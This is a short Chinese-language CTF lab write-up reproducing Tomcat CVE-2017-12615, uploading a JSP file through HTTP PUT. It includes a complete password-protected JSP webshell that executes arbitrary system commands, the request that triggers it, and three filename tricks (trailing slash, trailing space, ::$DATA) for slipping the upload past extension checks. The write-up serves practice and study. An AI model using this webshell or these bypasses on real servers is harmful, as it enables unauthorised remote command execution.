buuctf [Tomcat]CVE-2017-12615

漏洞简介

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
漏洞分析:https://xz.aliyun.com/t/5610https://paper.seebug.org/399/

复现过程

姿势一:
我们知道Servlet在识别1.jsp /时会把它当作非jsp文件交给DefaultServlet来处理,而后续保存文件的时候,文件名不接受/字符,故而忽略掉

在这里插入图片描述
传一个webshel​​l

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp  
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%> 

/shell.jsp?cmd=whoami&pwd=023 命令执行
在这里插入图片描述

env打印环境变量
在这里插入图片描述

姿势二:
利用文件解析漏洞采用PUT方式上传jsp webshell文件。其中文件名设为/shell.jsp%20 ,如果文件名后缀是空格那么将会被tomcat给过滤掉。

姿势三:
在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:"phpinfo.php::$DATA“Windows会自动去掉末尾的::$DATA变成"phpinfo.php”

在这里插入图片描述
结果是linux系统,啧啧啧